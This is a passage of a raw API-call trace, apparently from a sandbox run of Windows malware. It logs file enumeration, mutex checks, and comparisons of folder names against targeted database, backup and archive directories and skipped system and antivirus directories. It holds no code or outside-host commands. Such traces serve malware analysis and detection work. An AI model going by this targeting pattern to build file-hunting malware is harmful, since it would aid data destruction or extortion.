lpLocalFileTime=0x18edc4) returned 1 [0059.299] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0059.299] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.299] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.299] GlobalUnlock (hMem=0x44000c) returned 0 [0059.299] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.299] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.299] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.299] GlobalUnlock (hMem=0x44000c) returned 0 [0059.299] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.299] GlobalUnlock (hMem=0x440004) returned 0 [0059.299] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.299] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 1 [0059.299] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0059.299] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0059.299] GlobalLock (hMem=0x440004) returned 0x550170 [0059.299] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.299] GlobalUnlock (hMem=0x440004) returned 0 [0059.300] GlobalLock (hMem=0x440004) returned 0x550170 [0059.300] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.300] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.300] GlobalUnlock (hMem=0x440004) returned 0 [0059.300] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.300] GlobalUnlock (hMem=0x44000c) returned 0 [0059.300] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.300] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.300] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.300] GlobalUnlock (hMem=0x44000c) returned 0 [0059.300] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.300] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.300] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.300] GlobalUnlock (hMem=0x44000c) returned 0 [0059.300] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.300] GlobalUnlock (hMem=0x440004) returned 0 [0059.300] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.300] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources", len=0x42 | out: pbstr=0x18edc4*="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources") returned 1 [0059.300] GlobalLock (hMem=0x440004) returned 0x550170 [0059.300] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.300] GlobalUnlock (hMem=0x440004) returned 0 [0059.300] GlobalLock (hMem=0x440004) returned 0x550170 [0059.300] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.300] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.300] GlobalUnlock (hMem=0x440004) returned 0 [0059.301] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.301] GlobalUnlock (hMem=0x44000c) returned 0 [0059.301] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a9d8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@ꢾRꢒR企@\x18䃄Q\x18\x1b")) returned 0xffffffff [0059.301] GetLastError () returned 0x3 [0059.301] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\", cchLength=0x43 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\") returned 0x43 [0059.301] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0059.301] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\眵?\x18") returned 21 [0059.301] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a9d8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="锴R䱠@ꠌR企@\x18䄌Q\x181")) returned 0xffffffff [0059.302] GetLastError () returned 0x2 [0059.302] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\", cchLength=0x43 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\") returned 0x43 [0059.302] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0059.302] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\眵?\x18") returned 9 [0059.302] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a9d8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="锴R䱠@蔴T企@\x18?T\x18;")) returned 0xffffffff [0059.302] GetLastError () returned 0x2 [0059.302] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\", cchLength=0x43 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\") returned 0x43 [0059.302] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a998, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0059.303] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\眵?\x18") returned 8 [0059.303] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a9d8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="锴R䱠@僴R企@\x18?T\x18D")) returned 0xffffffff [0059.303] GetLastError () returned 0x2 [0059.303] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\", cchLength=0x43 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\") returned 0x43 [0059.303] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a998, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0059.303] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\眵?\x18") returned 37 [0059.303] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a9d8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="锴R䱠@ꠌR企@\x18蔴T\x18j")) returned 0xffffffff [0059.304] GetLastError () returned 0x2 [0059.304] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\", cchLength=0x43 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\") returned 0x43 [0059.304] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\眵?\x18") returned 37 [0059.304] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\眵?\x18") returned 6 [0059.304] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a9d8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="锴R䱠@僴R企@\x18?T\x18q")) returned 0xffffffff [0059.304] GetLastError () returned 0x2 [0059.304] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\", cchLength=0x43 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\") returned 0x43 [0059.304] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a998, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\蔰TP") returned 6 [0059.304] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\眵?\x18") returned 7 [0059.305] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a9d8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="锴R䱠@伤R企@\x18?T\x18y")) returned 0xffffffff [0059.305] GetLastError () returned 0x2 [0059.305] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\", cchLength=0x43 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\") returned 0x43 [0059.305] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a998, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0059.305] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\眵?\x18") returned 7 [0059.305] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a9d8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="锴R䱠@ꠌR企@\x18?T\x18\x81")) returned 0xffffffff [0059.305] GetLastError () returned 0x2 [0059.305] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\", cchLength=0x43 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\") returned 0x43 [0059.305] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a998, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0059.305] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a9d8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="锴R䱠@僴R企@\x18?T\x18\x88")) returned 0xffffffff [0059.306] GetLastError () returned 0x2 [0059.306] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\", cchLength=0x43 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\") returned 0x43 [0059.306] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a998, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0059.306] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a9d8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="锴R䱠@伤R企@\x18?T\x18\x8f")) returned 0xffffffff [0059.306] GetLastError () returned 0x2 [0059.306] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\", cchLength=0x43 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\") returned 0x43 [0059.306] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a998, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0059.306] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a9d8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="锴R䱠@ꠌR企@\x18?T\x18\x97")) returned 0xffffffff [0059.306] GetLastError () returned 0x2 [0059.306] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\", cchLength=0x43 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\") returned 0x43 [0059.306] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a998, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0059.306] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.306] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.306] GlobalUnlock (hMem=0x44000c) returned 0 [0059.306] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.306] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.307] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.307] GlobalUnlock (hMem=0x44000c) returned 0 [0059.307] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.307] GlobalUnlock (hMem=0x440004) returned 0 [0059.307] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\", cchLength=0x43 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\") returned 0x43 [0059.307] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0059.307] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0059.307] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\", cchLength=0x43 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\") returned 0x43 [0059.307] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0059.307] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 46 [0059.307] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\", cchLength=0x43 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\") returned 0x43 [0059.307] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0059.307] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 15 [0059.307] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\", cchLength=0x43 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\") returned 0x43 [0059.307] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0059.307] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a9f8, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 11 [0059.307] GlobalLock (hMem=0x440004) returned 0x550170 [0059.307] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.307] GlobalUnlock (hMem=0x440004) returned 0 [0059.307] GlobalLock (hMem=0x440004) returned 0x550170 [0059.307] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.307] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.307] GlobalUnlock (hMem=0x440004) returned 0 [0059.307] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.307] GlobalUnlock (hMem=0x44000c) returned 0 [0059.307] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\", cchLength=0x43 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\") returned 0x43 [0059.307] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 15 [0059.308] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\", cchLength=0x43 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\") returned 0x43 [0059.308] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a998, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 11 [0059.308] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\", cchLength=0x43 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\") returned 0x43 [0059.308] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a998, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 9 [0059.308] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\", cchLength=0x43 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\") returned 0x43 [0059.308] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 18 [0059.308] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\", cchLength=0x43 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\") returned 0x43 [0059.308] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 28 [0059.308] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\", cchLength=0x43 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\") returned 0x43 [0059.308] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a998, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 10 [0059.308] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\", cchLength=0x43 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\") returned 0x43 [0059.308] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a998, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 8 [0059.308] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\", cchLength=0x43 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\") returned 0x43 [0059.308] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a998, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 9 [0059.308] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\", cchLength=0x43 | out: lpsz="c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\") returned 0x43 [0059.308] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=13, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 13 [0059.308] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.308] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.308] GlobalUnlock (hMem=0x44000c) returned 0 [0059.308] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.308] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.308] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.308] GlobalUnlock (hMem=0x44000c) returned 0 [0059.309] GlobalHandle 